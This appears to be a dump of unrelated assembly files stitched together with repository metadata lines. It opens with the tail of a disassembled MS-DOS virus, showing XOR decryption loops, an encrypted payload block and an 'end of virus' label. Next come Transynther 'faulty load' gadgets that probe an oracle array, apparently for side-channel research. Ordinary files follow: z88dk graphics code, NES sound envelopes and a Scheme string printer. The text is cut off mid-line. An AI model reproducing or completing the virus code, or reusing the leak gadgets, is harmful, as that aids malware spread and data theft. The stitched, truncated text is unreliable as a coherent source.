MOV AX,WORD PTR ES:[000C] ;
XOR [BP-04],AX ;
;
MOV AX,WORD PTR ES:[000E] ;
XOR [BP-02],AX ;
;
JMP SHORT J0A4B
J0A3A:
MOV AX,CX
MOV CX,0008
LEA SI,[BP-10]
XOR DI,DI
DB 0F3,36,0A5
; REPZ SS:MOVSW
MOV CX,AX
JMP SHORT J0A4E
J0A4B:
DEC CX
JMP SHORT J09E9
J0A4E:
SHR DX,1
JB J0A54
JMP SHORT J09DA
J0A54:
MOV SP,BP
POP BP
RET
P_09C8 ENDP
;*****************************************************************
P_0A58 PROC
PUSH BP
MOV BP,SP
PUSH DS
J0A5C:
MOV DS,[BP+04]
MOV ES,[BP+06]
XOR BX,BX
J0A64:
MOV AX,WORD PTR ES:[BX]
XOR WORD PTR [BX],AX
ADD BX,+02
CMP BX,+10
JB J0A64
INC WORD PTR [BP+04]
INC WORD PTR [BP+06]
DEC WORD PTR [BP+08]
JNZ J0A5C
POP DS
POP BP
RET
P_0A58 ENDP
;************************************************************
P_0A7F PROC
PUSH BP
MOV BP,SP
PUSH DS
MOV BL,01
J0A85:
XOR SI,SI
J0A87:
XOR CX,CX
MOV DI,[BP+08]
ADD DI,[BP+0A]
DEC DI
J0A90:
MOV DS,DI
SHR BYTE PTR [SI],1
RCL CX,1
DEC DI
CMP DI,[BP+08]
JNB J0A90
OR CX,CX
JZ J0AB1
PUSH CX
PUSH [BP+06]
PUSH [BP+04]
CALL P_0995
ADD SP,+06 ;
MOV DS,AX
XOR BYTE PTR [SI],BL
J0AB1:
INC SI
CMP SI,+10
JB J0A87
SHL BL,01
JNB J0A85
POP DS
POP BP
RET
P_0A7F ENDP
J0ABE DB 87,0DBH
;J0AC0 DB 88,CB ;VALUE MAYBE USED AS 0ACO
J0AC0: DB 88,0CBH,8A,99,8F,38
DB 0E7H,0CDH,0A1H,9BH,3EH
DB 0EF,86,0C8,97,83,52
DB 34,0BE,8C,21, 29,0B1
DB 0F9H,0C1H,9BH,12H,04H,09H,0F3H
DB 45, 01, 93, 01DH, 0B0
DB 0B9,0C6,01,06,92,37,50
DB 49,0E8,0D5,71,97
DB 22,0A6,0E6,04C,50
DB 0BE,2A,23
DB 0BE,44, 01DH
DB 0A1,0A6,6BH
DB 0A0,0E0,06
DB 0AA,1A,0F6,2A,0C0
DB 02,2F,75,99
DB 06H,0FH,5BH,97H,02H,3EH
DB 64, 07DH, 0C8,50,66,08
DB 0C4,0FA,92,8E,64,75
DB 1BH, 0A6H, 1BH, 0B9H, 32H, 0BDH
DB 0BH, 3EH, 61H, 06DH, 0E0H, 0C4H
DB 0B9H, 29, 0CAH, 9CH, 17H, 08H, 21H
DB 0EAH, 0EEH, 7EH , 85H, 0B1H
DB 63H, 2AH, 0C3H, 71H, 71H, 2CH, 0A0H
DB 0F2H, 8BH, 59H, 0DH
DB 0F9,0D5H, 00H
;POSSIBLE END OF VIRUS
BOT_VIR EQU $ ;LABEL FOR END OF VIRUS
VIRUS_CODE ENDS
END start
| 26.167125 | 173 | 0.42027 |
5ae4d80eafee49bfd04b090b43f9b28626dc2528 | 880 | asm | Assembly | libsrc/gfx/wide/w_xorcircle_callee.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/gfx/wide/w_xorcircle_callee.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/gfx/wide/w_xorcircle_callee.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; Usage: xorcircle(int x, int y, int radius, int skip);
IF !__CPU_INTEL__ && !__CPU_GBZ80__
SECTION code_graphics
PUBLIC xorcircle_callee
PUBLIC _xorcircle_callee
PUBLIC asm_xorcircle
EXTERN w_draw_circle
EXTERN w_xorpixel
EXTERN swapgfxbk
EXTERN __graphics_end
INCLUDE "graphics/grafix.inc"
.xorcircle_callee
._xorcircle_callee
; de = x0, hl = y0, bc = radius, a = skip
pop af
ex af,af
pop de ; skip
ld a,e
pop bc ;radius
pop hl ; y
pop de ; x
ex af,af
push af
ex af,af
.asm_xorcircle
push ix
push af
IF NEED_swapgfxbk = 1
call swapgfxbk
ENDIF
pop af
ld ix,w_xorpixel
call w_draw_circle
IF NEED_swapgfxbk
jp __graphics_end
ELSE
pop ix
ret
ENDIF
ENDIF
| 18.333333 | 55 | 0.582955 |
4daa24f757692144e4d700a754fd61d670da4bce | 5,166 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1465.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1465.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1465.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r15
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xef68, %rsi
nop
nop
nop
nop
nop
xor %r11, %r11
movw $0x6162, (%rsi)
nop
and %r10, %r10
lea addresses_normal_ht+0x56fa, %rsi
lea addresses_normal_ht+0x93de, %rdi
nop
nop
nop
nop
nop
add %r15, %r15
mov $69, %rcx
rep movsq
nop
nop
nop
nop
add $63544, %r15
lea addresses_D_ht+0xce7a, %rsi
lea addresses_A_ht+0xac8a, %rdi
sub $50666, %r10
mov $80, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $20029, %r14
lea addresses_A_ht+0xc37a, %r15
nop
nop
nop
xor $12029, %r11
movups (%r15), %xmm1
vpextrq $0, %xmm1, %rsi
nop
add %r14, %r14
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r15
push %rax
push %rbp
push %rsi
// Load
lea addresses_normal+0x93ba, %r13
xor %rbp, %rbp
mov (%r13), %r10w
nop
nop
nop
nop
add $44777, %rsi
// Faulty Load
lea addresses_UC+0xfb7a, %r15
cmp %r11, %r11
movb (%r15), %r13b
lea oracles, %rax
and $0xff, %r13
shlq $12, %r13
mov (%rax,%r13,1), %r13
pop %rsi
pop %rbp
pop %rax
pop %r15
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_UC', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal', 'congruent': 4}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 7}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 44.534483 | 2,999 | 0.660666 |
f4301d7f90a04a29eb5d9c462a2ed46564f80b36 | 1,394 | asm | Assembly | src/vol_envelopes.6502.asm | mrpopogod/nes-fun | 80e6af809874f2de89bd52f05f04c451dc29b333 | [
"MIT"
] | null | null | null | src/vol_envelopes.6502.asm | mrpopogod/nes-fun | 80e6af809874f2de89bd52f05f04c451dc29b333 | [
"MIT"
] | null | null | null | src/vol_envelopes.6502.asm | mrpopogod/nes-fun | 80e6af809874f2de89bd52f05f04c451dc29b333 | [
"MIT"
] | null | null | null | volume_envelopes:
.word se_ve_1
.word se_ve_2
.word se_ve_3
.word se_ve_tgl_1
.word se_ve_tgl_2
.word se_battlekid_loud
.word se_battlekid_loud_long
.word se_battlekid_soft
.word se_battlekid_soft_long
.word se_drum_decay
se_ve_1:
.byte $0F, $0E, $0D, $0C, $09, $05, $00
.byte $FF
se_ve_2:
.byte $01, $01, $02, $02, $03, $03, $04, $04, $07, $07
.byte $08, $08, $0A, $0A, $0C, $0C, $0D, $0D, $0E, $0E
.byte $0F, $0F
.byte $FF
se_ve_3:
.byte $0D, $0D, $0D, $0C, $0B, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $06, $06, $06, $05, $04, $00
.byte $FF
se_ve_tgl_1:
.byte $0F, $0B, $09, $08, $07, $06, $00
.byte $FF
se_ve_tgl_2:
.byte $0B, $0B, $0A, $09, $08, $07, $06, $06, $06, $05
.byte $FF
se_battlekid_loud:
.byte $0f, $0e, $0c, $0a, $00
.byte $FF
se_battlekid_loud_long:
.byte $0f, $0e, $0c, $0a, $09
.byte $FF
se_battlekid_soft:
.byte $09, $08, $06, $04, $00
.byte $FF
se_battlekid_soft_long:
.byte $09, $08, $06, $04, $03
.byte $FF
se_drum_decay:
.byte $0E, $09, $08, $06, $04, $03, $02, $01, $00
.byte $FF
ve_short_staccato = $00
ve_fade_in = $01
ve_blip_echo = $02
ve_tgl_1 = $03
ve_tgl_2 = $04
ve_battlekid_1 = $05
ve_battlekid_1b = $06
ve_battlekid_2 = $07
ve_battlekid_2b = $08
ve_drum_decay = $09
| 21.446154 | 58 | 0.553802 |
8ec5e3df3496e47912ca59c821f0730a347dc261 | 5,669 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1807.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1807.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1807.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x7624, %r15
nop
nop
nop
dec %r8
mov (%r15), %edx
inc %r15
lea addresses_A_ht+0xd0d8, %r9
nop
nop
nop
inc %rcx
mov $0x6162636465666768, %r15
movq %r15, %xmm0
and $0xffffffffffffffc0, %r9
movntdq %xmm0, (%r9)
nop
cmp %r9, %r9
lea addresses_WC_ht+0x99d0, %rsi
lea addresses_D_ht+0x8d0, %rdi
nop
cmp %r10, %r10
mov $79, %rcx
rep movsb
nop
nop
nop
nop
sub $56528, %rsi
lea addresses_D_ht+0x3378, %rsi
lea addresses_WC_ht+0x10550, %rdi
clflush (%rsi)
clflush (%rdi)
nop
sub $25009, %r9
mov $53, %rcx
rep movsw
nop
nop
nop
inc %rdx
lea addresses_D_ht+0xa750, %rdx
nop
inc %r9
movups (%rdx), %xmm7
vpextrq $0, %xmm7, %r10
nop
nop
nop
nop
sub %r8, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r8
push %rbp
// Load
lea addresses_UC+0x8390, %r12
nop
nop
nop
nop
sub $55928, %r14
movups (%r12), %xmm2
vpextrq $0, %xmm2, %r8
nop
nop
nop
nop
nop
cmp $1217, %rbp
// Load
lea addresses_UC+0x1f8f2, %r12
nop
nop
nop
nop
and %r11, %r11
mov (%r12), %r14d
nop
nop
nop
nop
nop
cmp $13892, %r11
// Faulty Load
lea addresses_US+0x11150, %r8
sub $46084, %r11
movb (%r8), %r12b
lea oracles, %rbp
and $0xff, %r12
shlq $12, %r12
mov (%rbp,%r12,1), %r12
pop %rbp
pop %r8
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 39.643357 | 2,999 | 0.657259 |
5631b0e539518814a516bfa4e0959dcf0e3fd4d6 | 478 | asm | Assembly | programs/oeis/047/A047524.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/047/A047524.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/047/A047524.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A047524: Numbers that are congruent to {2, 7} mod 8.
; 2,7,10,15,18,23,26,31,34,39,42,47,50,55,58,63,66,71,74,79,82,87,90,95,98,103,106,111,114,119,122,127,130,135,138,143,146,151,154,159,162,167,170,175,178,183,186,191,194,199,202,207,210,215,218,223,226,231,234,239,242,247,250,255,258,263,266,271,274,279,282,287,290,295,298,303,306,311,314,319,322,327,330,335,338,343,346,351,354,359,362,367,370,375,378,383,386,391,394,399
mov $1,$0
mul $0,4
mod $1,2
add $0,$1
add $0,2
| 53.111111 | 374 | 0.702929 |
35a4bfdc72f0addb75b86184ab68081cfaae20d5 | 1,028 | asm | Assembly | boot/boot.asm | kbrsh/arc | 395376ed2d0bcf2d6e03265e433f8b605bca4c6c | [
"MIT"
] | 39 | 2017-08-25T08:48:26.000Z | 2021-07-21T14:16:36.000Z | boot/boot.asm | KingPixil/ample | 395376ed2d0bcf2d6e03265e433f8b605bca4c6c | [
"MIT"
] | 1 | 2020-01-13T04:15:22.000Z | 2020-01-13T05:58:25.000Z | boot/boot.asm | KingPixil/ample | 395376ed2d0bcf2d6e03265e433f8b605bca4c6c | [
"MIT"
] | 6 | 2017-09-04T08:44:20.000Z | 2021-07-18T07:34:44.000Z | [org 0x7c00]
; Main Boot
[bits 16]
boot:
mov [bootDrive], dl ; Setup Boot Drive Location
; Setup stack
mov bp, 0x1000
mov sp, bp
mov bx, intro ; Store Message in "Base Index" Register
call print16 ; Print Intro
call load ; Load Kernel
call switch ; Switch to Protected Mode
jmp $ ; Loop
; Load 16 bit printing utility
%include "boot/print16.asm"
; Load 16 bit disk loading utility
%include "boot/loadDisk.asm"
; Load Switcher to Protected Mode
%include "boot/switch.asm"
; Load 64 bit GDT
%include "boot/gdt.asm"
; Load Kernel
[bits 16]
load:
; Setup parameters to read from kernel location (0x10000)
mov bx, 0x1000
mov es, bx
mov bx, 0
mov dl, [bootDrive] ; Read from boot drive
call loadDisk ; Load from disk
ret
; After Switching to Long Mode
[bits 64]
afterSwitch:
call 0x10000 ; Call Kernel
hlt ; Halt CPU
; Intro Message
intro db "Arc", 0
; Boot Drive Location
bootDrive db 0
times 510 - ($ - $$) db 0 ; Skip over 510 Bytes
dw 0xaa55 ; Let BIOS know disk is Bootable
| 16.580645 | 59 | 0.691634 |
e90391b45c1817484950020f50286c9e62cd9ce4 | 2,117 | asm | Assembly | arch/lib/scheme/write_sob_string.asm | Mosseridan/Compiler-Principles | 6c72a462b90ca6c6db380976c2aa60471fa65325 | [
"MIT"
] | null | null | null | arch/lib/scheme/write_sob_string.asm | Mosseridan/Compiler-Principles | 6c72a462b90ca6c6db380976c2aa60471fa65325 | [
"MIT"
] | null | null | null | arch/lib/scheme/write_sob_string.asm | Mosseridan/Compiler-Principles | 6c72a462b90ca6c6db380976c2aa60471fa65325 | [
"MIT"
] | null | null | null | /* scheme/write_sob_string.asm
* Take a pointer to a Scheme string object, and
* prints (to stdout) the character representation
* of that object.
*
* Programmer: Mayer Goldberg, 2010
*/
WRITE_SOB_STRING:
PUSH(FP);
MOV(FP, SP);
PUSH(R1);
PUSH(R2);
PUSH(R3);
PUSH(IMM('\"'));
CALL(PUTCHAR);
DROP(1);
MOV(R0, FPARG(0));
MOV(R1, INDD(R0, 1));
MOV(R2, R0);
ADD(R2, IMM(2));
L_WSS_LOOP:
CMP(R1, IMM(0));
JUMP_EQ(L_WSS_EXIT);
CMP(IND(R2), '\n');
JUMP_EQ(L_WSS_NEWLINE);
CMP(IND(R2), '\t');
JUMP_EQ(L_WSS_TAB);
CMP(IND(R2), '\f');
JUMP_EQ(L_WSS_PAGE);
CMP(IND(R2), '\r');
JUMP_EQ(L_WSS_RETURN);
CMP(IND(R2), '\\');
JUMP_EQ(L_WSS_BACKSLASH);
CMP(IND(R2), '\"');
JUMP_EQ(L_WSS_DQUOTE);
CMP(IND(R2), ' ');
JUMP_LT(L_WSS_OCT_CHAR);
PUSH(IND(R2));
CALL(PUTCHAR);
DROP(1);
JUMP(L_WSS_LOOP_CONT);
L_WSS_DQUOTE:
PUSH(IMM('\\'));
CALL(PUTCHAR);
PUSH(IMM('\"'));
CALL(PUTCHAR);
DROP(2);
JUMP(L_WSS_LOOP_CONT);
L_WSS_BACKSLASH:
PUSH(IMM('\\'));
CALL(PUTCHAR);
PUSH(IMM('\\'));
CALL(PUTCHAR);
DROP(2);
JUMP(L_WSS_LOOP_CONT);
L_WSS_RETURN:
PUSH(IMM('\\'));
CALL(PUTCHAR);
PUSH(IMM('r'));
CALL(PUTCHAR);
DROP(2);
JUMP(L_WSS_LOOP_CONT);
L_WSS_PAGE:
PUSH(IMM('\\'));
CALL(PUTCHAR);
PUSH(IMM('f'));
CALL(PUTCHAR);
DROP(2);
JUMP(L_WSS_LOOP_CONT);
L_WSS_TAB:
PUSH(IMM('\\'));
CALL(PUTCHAR);
PUSH(IMM('t'));
CALL(PUTCHAR);
DROP(2);
JUMP(L_WSS_LOOP_CONT);
L_WSS_NEWLINE:
PUSH(IMM('\\'));
CALL(PUTCHAR);
PUSH(IMM('n'));
CALL(PUTCHAR);
DROP(2);
JUMP(L_WSS_LOOP_CONT);
L_WSS_OCT_CHAR:
MOV(R0, IND(R2));
MOV(R3, R0);
REM(R3, IMM(8));
PUSH(R3);
DIV(R0, IMM(8));
MOV(R3, R0);
REM(R3, IMM(8));
PUSH(R3);
DIV(R0, IMM(8));
REM(R0, IMM(8));
PUSH(R0);
PUSH(IMM('\\'));
CALL(PUTCHAR);
DROP(1);
CALL(WRITE_INTEGER);
DROP(1);
CALL(WRITE_INTEGER);
DROP(1);
CALL(WRITE_INTEGER);
DROP(1);
L_WSS_LOOP_CONT:
INCR(R2);
DECR(R1);
JUMP(L_WSS_LOOP);
L_WSS_EXIT:
PUSH(IMM('\"'));
CALL(PUTCHAR);
DROP(1);
POP(R3);
POP(R2);
POP(R1);
POP(FP);
RETURN;
| 17.641667 | 50 | 0.589513 |
5dc10308ee1af08465ffc69b2b548a138d82acbe | 5,640 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2538.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2538.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
